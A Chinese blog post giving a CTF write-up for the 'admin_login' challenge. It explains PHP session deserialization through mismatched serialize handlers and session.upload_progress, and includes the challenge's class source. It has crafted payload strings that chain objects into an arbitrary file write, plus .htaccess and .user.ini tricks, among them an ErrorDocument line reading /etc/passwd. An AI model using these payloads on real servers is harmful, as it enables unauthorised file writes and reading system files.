yink's studio

yink's world
Stay hungry, stay foolish.
  1. 首页
  2. CTF writeup
  3. 正文

数字中国智能车联网大赛

2022年4月23日 519点热度 0人点赞 0条评论

admin_login

附件在这里:链接: https://pan.baidu.com/s/1lr62ACkKYHzQA7Avg05zng?pwd=tug1 提取码: tug1 复制这段内容后打开百度网盘手机App,操作更方便哦

这道题给了源码,其中test_session.php很值得玩味

<?php
include "class.php";
ini_set('session.serialize_handler','php_binary');
session_start();
?>

考点非常明确了,利用session.serialize_handler在php.ini和文件中的不同,从而利用session反序列化造成任意类实例化

那么我们要解决的第一个问题,就是这里没有可控的session值,常用方法是利用session.upload_progress进行包含利用,详见利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户

我们观察php.ini,会发现在默认配置的基础上,还有session.upload_progress.cleanup = Off,这也是出题人为了方便利用做的操作,不然就要条件竞争了。(话说本地调试的时候其实也可以这样)

所以,只需要上传文件,然后抓包,自定义PHPSESSID并且设置PHP_SESSION_UPLOAD_PROGRESS的POST参数,就能生成文件名可控并且部分内容可控的session文件了。

PS:如果本地调试没有生成session文件,可以试试更改session.save_path的值,这个值定义了session存储路径,默认存储在/tmp路径下,可以改成自定义的值。

PS2:建议在本地调试的时候打开设置display_errors = On,这样可以看到错误信息

下面一步,需要找到session反序列化的点。session_start()函数在被调用时会对session进行反序列化,官方文档是这么说的:

如果已经存在session就直接反序列化,没有已存在的session就创建一个,而test_session.php里面正好有这个函数,同时,test_session.php里面的session.serialize_handler正好与php.ini中的不同,利用点就找到了。

接下来,难点在于怎么利用handler的不同来造成任意类反序列化,详见详谈CTF中常出现的PHP反序列化漏洞 - FreeBuf网络安全行业门户

最简单的是反序列化时使用php,这样可以通过传入|来自定义key和value分隔位置,但是这里是在序列化的时候使用的php模式

扩展:对于serialize_handler=php和php_serialize来说,有一个特性:会忽略掉最后的多余字符(注意这个特性在php_binary里面是没有的,如果php_bianry的session最后有多余字符会直接出错并且清理session)

假设现在有这样一个class:

class UserLogin
{
    public $username;
    public $password;
    public $isadmin;

    public function __construct($username, $password)
    {

        $this->username = $username;
        $this->password = $password;
        if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1") {
            $this->isadmin = true;
        } else {
            $this->isadmin = false;
        }
    }

    public function __destruct()
    {
        if ($this->isadmin) {
            echo 1;
            global $isadmin;
            $isadmin = true;
        }
    }
}

三种模式下,对于session中多余字符的处理,测试代码:

<?php
include "class.php";
ini_set('session.serialize_handler','xxx'); //xxx is different session.serialize_handlers
session_start();
$_SESSION['test']=new UserLogin("1","2");
$_SESSION['test2']=new UserLogin("3","4");
var_dump($_SESSION);
?>

下面用<>包含多余字符

php:

test|O:9:"UserLogin":3:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";s:7:"isadmin";b:0;}<}>test2|O:9:"UserLogin":3:{s:8:"username";s:1:"3";s:8:"password";s:1:"4";s:7:"isadmin";b:0;}<}>

结果:

中间的}作为键值的一部分,最后的}被删掉

php_serialize:

a:2:{s:4:"test";O:9:"UserLogin":3:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";s:7:"isadmin";b:0;}<}>s:5:"test2";O:9:"UserLogin":3:{s:8:"username";s:1:"3";s:8:"password";s:1:"4";s:7:"isadmin";b:0;}}<}>

结果:

中间的}不符合规定的格式,所以反序列化失败,如果去掉中间的},最后的}会被当做多余字符去掉,反序列化可以成功

php_binary:

[EOT]testO:9:"UserLogin":3:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";s:7:"isadmin";b:0;}[ENQ]test2O:9:"UserLogin":3:{s:8:"username";s:1:"3";s:8:"password";s:1:"4";s:7:"isadmin";b:0;}<}>

结果:

php_binary模式下,不会自动去掉最后的多余字符,直接报错。

而这里,反序列化点test_session.php里面采用的是php_binary,也就是说,我们必须处理掉多余字符。

先看看我们可控session文件的结构:

upload_progress_<value of PHP_SESSION_UPLOAD_PROGRESS>|a:5:{s:10:"start_time";i:1650708635;s:14:"content_length";i:1025;s:15:"bytes_processed";i:1025;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"temp.txt";s:8:"tmp_name";s:22:"C:\Windows\php4698.tmp";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1650708635;s:15:"bytes_processed";i:705;}}}

在php_binary模式下,第一个字符u会被解析成键名的长度,也就是117(10进制ASCII值)

pload_progress_共有15个字符,所以我们只需要在后面添加102个字符,就可以凑够键名的长度,然后自定义键值用来反序列化。

那么剩下的那一堆怎么办呢?可以通过传入一个新键名,让它的值是后面的a:5:{s:10:"start_time";i:1650708635;s:14:"content_length";i:1025;s:15:"bytes_processed";i:1025;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"temp.txt";s:8:"tmp_name";s:22:"C:\Windows\php4698.tmp";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1650708635;s:15:"bytes_processed";i:705;}}},这样就可以成功反序列化了。(注意,传入的键名长度应该比传入的键名要多一个,这样才能把|也处理掉)

我给一个例子:uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuaO:9:"UserLogin":3:{s:8:"username";s:0:"";s:8:"password";s:0:"";s:7:"isadmin";b:1;}upload_progress_uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuc

到这里,我们已经实现了任意类反序列化,传入的结构是<115个字符><任意类序列化结果><键名长度字符><键名长度-1个字符>

那么接下来就是可利用类的寻找,这个很简单了,看class.php

<?php
$isadmin = false;

class UserLogin
{
    public $username;
    public $password;
    public $isadmin;

    public function __construct($username, $password)
    {

        $this->username = $username;
        $this->password = $password;
        if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1") {
            $this->isadmin = true;
        } else {
            $this->isadmin = false;
        }
    }

    public function __destruct()
    {
        if ($this->isadmin) {
            global $isadmin;
            $isadmin = true;
        }
    }
}

class UserUpfile
{
    public $filename;
    public $data;

    public function setFileName($name)
    {
        $this->filename = $name;
    }

    public function setData($data)
    {
        $this->data = $data;
    }

    public function __destruct()
    {
        global $isadmin;
        if (!$isadmin || strpos($this->filename, '.p') !== false || strpos($this->filename, 'php:') !== false || !is_string($this->data) || strpos($this->data, '<') !== false || strpos($this->data, 'auto_') !== false || strpos($this->data, 'log') !== false) {
            die("no");
        } else {
            file_put_contents($this->filename, $this->data); //利用点
        }
    }
}

用UserUpfile类的__destruct方法就可以了。

但是这里还有一个限制,要求$isadmin必须为真,否则就会直接die。那必须借助上面的UserLogin类,考虑定义一个isadmin属性为真的UserLogin类,让它在UserUpfile类之前执行__destruct方法,把全局的$isadmin变为1即可

注意,一定要是在同一个反序列化过程中反序列化两个类,不能分两次访问。因为每次访问都会重新include class.php,$isadmin会被重置为0

那怎么实现一次反序列化两个类呢?再回到我们实现任意类反序列化的结构:

<115个字符><任意类序列化结果><键名长度字符><键名长度-1个字符>

其实,这里的<任意类序列化结果>部分,完全还可以添加自定义键值对,这样就可以实现一次反序列化任意多个任意类

一个小细节,先定义的类先被destruct掉,然后这里的filename需要传入绝对路径,因为是外部调用。

所以,任意写入文件的payload:

uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuaO:9:"UserLogin":3:{s:8:"username";s:0:"";s:8:"password";s:0:"";s:7:"isadmin";b:1;}upload_progress_uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuubO:10:"UserUpfile":2:{s:8:"filename";s:15:"<your-filename>";s:4:"data";s:19:"<your-file-content>";}upload_progress_uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuc

这样,就实现了任意写文件~

接下来是上传文件,一般思路也就几种,.php文件,.htaccess文件,.user.ini文件

.user.ini的利用条件如下:

1.服务器脚本语言为PHP
2.服务器使用CGI/FastCGI模式
3.上传目录下要有可执行的php文件

利用:通常是auto_prepend_file和auto_append_file自动包含文件,同时这个属性还支持php伪协议

注意,user_ini.cache_ttl默认是5分钟,也就是说要等待5分钟.user.ini才能生效,如果觉得慢可以改成0

.htaccess利用条件:

1.Apache服务器

2.在php以Apache 2.0 Handler模式运行时,可以使用php_value来更改php.ini中的某些属性(同.user.ini)

利用:ErrorDocument支持file协议,可造成任意文件读,例:ErrorDocument 404 %{file:///etc/passwd}

改变php的Server API:

AddType application/x-httpd-php .php --Apache 2.0 Handler

<FilesMatch \.php$>
SetHandler "proxy:unix:/tmp/php-cgi-74.sock|fcgi://localhost"
</FilesMatch>

-- CGI/FastCGI模式

官方hint好像是说利用.user.ini,不过没想到利用方式...但是任意文件上传之后应该就很接近了

本作品采用 知识共享署名 4.0 国际许可协议 进行许可
标签: 暂无
最后更新:2022年4月24日

yink

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

取消回复

COPYRIGHT © 2021 101.34.164.187. ALL RIGHTS RESERVED.

THEME KRATOS MADE BY VTROIS